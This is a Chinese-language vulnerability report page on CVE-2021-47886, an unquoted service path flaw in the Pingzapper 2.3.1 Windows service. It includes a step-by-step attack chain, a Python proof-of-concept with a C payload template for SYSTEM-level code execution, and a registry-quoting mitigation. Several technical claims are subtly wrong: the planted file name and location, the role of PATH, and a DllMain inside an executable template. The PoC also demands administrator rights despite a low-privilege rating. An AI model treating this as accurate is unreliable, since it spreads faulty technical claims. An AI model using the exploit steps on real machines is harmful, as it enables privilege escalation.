IPBUF安全漏洞报告
English
CVE-2021-47886 CVSS 7.8 高危

CVE-2021-47886 Pingzapper PingzapperSvc服务未引用路径权限提升漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2021-47886
漏洞类型
未引用服务路径漏洞
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Pingzapper 2.3.1

相关标签

未引用服务路径权限提升本地攻击Windows服务PingzapperCVE-2021-47886高危漏洞路径遍历Windows本地提权

漏洞概述

CVE-2021-47886是Pingzapper 2.3.1版本中存在的一个高危本地权限提升漏洞。该漏洞源于PingzapperSvc Windows服务在配置过程中使用了未加引号的服务路径,导致攻击者可以利用路径解析的优先级顺序,在服务启动时执行任意恶意代码。Pingzapper是一款网络延迟优化工具,其Windows服务以SYSTEM或高权限账户运行。当服务路径未使用引号包裹时,Windows会依次尝试解析路径中的每个目录,攻击者只需在目标路径的上一级目录中植入同名恶意可执行文件,即可被服务加载执行,从而实现权限提升至SYSTEM级别。该漏洞CVSS评分7.8,属于高危漏洞,对本地安全构成严重威胁。

技术细节

该漏洞的根本原因在于Windows服务路径配置不规范。PingzapperSvc服务配置的服务路径为C:\Program Files (x86)\Pingzapper\PZService.exe,其中包含空格但未使用引号包裹。在Windows系统中,当服务启动时,操作系统会按照PATH环境变量和路径解析规则依次查找可执行文件。由于'Program'和'Files'之间存在空格且路径未加引号,Windows首先尝试在C:\Program目录下查找名为PZService.exe的文件。攻击者可以创建一个名为PZService.exe的恶意可执行文件并放置在C:\Program目录中,由于该目录通常具有写权限(特别是对于管理员或高权限用户),攻击者可以在服务重启或系统重启时获得代码执行机会。由于PingzapperSvc服务以SYSTEM或高权限运行,恶意代码也将以同等权限执行,从而实现本地权限提升。

攻击链分析

STEP 1
1
信息收集:攻击者首先识别目标系统中安装的Pingzapper 2.3.1软件,并通过sc query或msinfo32等工具查询PingzapperSvc服务的配置信息
STEP 2
2
漏洞确认:检查服务BINARY_PATH_NAME配置,发现路径C:\Program Files (x86)\Pingzapper\PZService.exe未使用引号包裹,存在未引用路径漏洞
STEP 3
3
权限检查:验证当前用户对C:\Program Files (x86)目录是否具有写权限,确认是否可以在该目录创建恶意可执行文件
STEP 4
4
恶意程序部署:攻击者创建一个名为PZService.exe的恶意可执行文件(包含后门、挖矿程序或远程控制木马等恶意载荷),并将其放置在C:\Program Files (x86)目录
STEP 5
5
服务触发:当PingzapperSvc服务重启或系统重启时,Windows服务控制管理器尝试启动服务,由于路径未加引号,Windows会首先查找C:\Program Files (x86)\PZService.exe并执行攻击者的恶意程序
STEP 6
6
权限提升:恶意代码以SYSTEM高权限执行,攻击者成功实现本地权限提升,可以进行数据窃取、持久化控制、横向移动等后续攻击活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2021-47886 PoC - Pingzapper Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in Pingzapper 2.3.1 # Author: Security Researcher # Reference: https://www.exploit-db.com/exploits/49626 import os import sys import subprocess import ctypes def is_admin(): """Check if the current process has administrator privileges""" try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def create_malicious_executable(): """Create a malicious executable that will be placed in the unquoted path""" malicious_code = ''' #include <windows.h> #include <stdio.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } // Entry point for the malicious executable int main() { // Create a reverse shell or execute arbitrary code here // This code runs with SYSTEM privileges when executed by the service // Example: Write to a log file to demonstrate execution FILE *fp = fopen("C:\\\\Windows\\\\Temp\\\\poc_log.txt", "a"); if (fp) { fprintf(fp, "[+] CVE-2021-47886 exploit triggered at %s\n", __TIMESTAMP__); fclose(fp); } // Execute payload with SYSTEM privileges // system("cmd.exe /c <your_command_here>"); return 0; } ''' # In a real attack scenario, compile this to PZService.exe # and place it in C:\Program Files (x86)\ or C:\Program\ print("[*] Malicious executable template created") print("[*] Compile and place as: C:\\Program Files (x86)\\PZService.exe") return malicious_code def check_vulnerable_service(): """Check if the PingzapperSvc service is vulnerable""" try: # Query the service configuration result = subprocess.run( ['sc', 'qc', 'PingzapperSvc'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print("[*] PingzapperSvc service found") # Check if path is unquoted if 'Program Files' in result.stdout and '"' not in result.stdout.split('BINARY_PATH_NAME')[1].split('\n')[0]: print("[+] Service is VULNERABLE - unquoted path detected") print("[*] Path: C:\\\\Program Files (x86)\\\\Pingzapper\\\\PZService.exe") return True else: print("[-] Service path appears to be quoted or not found") return False else: print("[-] PingzapperSvc service not found") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def exploit(): """Main exploitation function""" print("=" * 60) print("CVE-2021-47886 - Pingzapper Unquoted Service Path Exploit") print("=" * 60) if not is_admin(): print("[-] This exploit requires administrator privileges") print("[*] Please run as administrator") return False print("[+] Running with administrator privileges") # Step 1: Check if service is vulnerable print("\n[*] Step 1: Checking PingzapperSvc service...") if not check_vulnerable_service(): print("[-] Target is not vulnerable or service not found") return False # Step 2: Check write permissions to intermediate directories print("\n[*] Step 2: Checking write permissions to C:\\\\Program Files (x86)\\...") target_dir = r'C:\Program Files (x86)' if os.access(target_dir, os.W_OK): print(f"[+] Write access to {target_dir} - VULNERABLE") else: print(f"[-] No write access to {target_dir}") print("[*] Exploitation may still be possible with limited privileges") # Step 3: Create malicious executable print("\n[*] Step 3: Generating malicious executable...") create_malicious_executable() print("\n[!] IMPORTANT: This is for educational purposes only") print("[!] Unauthorized access to computer systems is illegal") print("\n[*] To complete exploitation:") print(" 1. Compile the malicious code to PZService.exe") print(f" 2. Place it in: C:\\\\Program Files (x86)\\\\PZService.exe") print(" 3. Wait for service restart or system reboot") print(" 4. The malicious code will execute with SYSTEM privileges") return True if __name__ == '__main__': exploit()

影响范围

Pingzapper 2.3.1

防御指南

临时缓解措施
立即修改PingzapperSvc服务的注册表配置,在BINARY_PATH_NAME值两侧添加双引号:运行regedit,定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PingzapperSvc,将ImagePath值修改为"C:\Program Files (x86)\Pingzapper\PZService.exe"。同时确保普通用户对C:\Program Files (x86)目录没有写权限,或考虑卸载Pingzapper软件直至官方发布安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表